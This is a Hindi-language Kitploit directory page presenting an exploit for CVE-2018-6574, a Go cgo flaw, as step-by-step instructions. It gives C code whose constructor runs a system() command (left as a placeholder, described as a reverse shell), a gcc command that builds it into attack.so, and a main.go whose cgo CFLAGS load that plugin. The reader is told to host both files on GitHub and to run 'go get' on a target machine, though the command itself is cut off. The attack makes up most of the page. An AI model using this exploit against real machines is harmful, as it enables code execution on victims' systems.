Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2018-6574 — CVE-2018-6574 के लिए Golang cgo एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/paulogmota/cve-2018-6574
भेद्यता विश्लेषणशोषणशेलकोडपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubpaulogmota/cve-2018-6574

CVE-2018-6574

CVE-2018-6574 के लिए Golang cgo एक्सप्लॉइट

रिपॉजिटरी देखें
1 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2018-6574

पुनरुत्पादन के चरण:

  1. एक .c फ़ाइल बनाएँ जिसमें दुर्भावनापूर्ण कमांड (revshell) हो:
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
  1. इसे GCC का उपयोग करके संकलित करें। आपको इसे लक्ष्य के समान आर्किटेक्चर और OS पर संकलित करना होगा (जैसे Linux x86_64):
root@kitploit:~
gcc -shared -o attack.so -fPIC attack.c
  1. एक main.go फ़ाइल बनाएँ जिसमें हेडर हों जो go को हमारे दुर्भावनापूर्ण प्लगइन का उपयोग करने के लिए बताएँ:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. main.go और attack.so फ़ाइलों को एक github रिपॉजिटरी पर होस्ट करें
  2. लक्ष्य मशीन पर, कमांड `go get github.com//
  3. खुश रहें
टूल डाउनलोड करें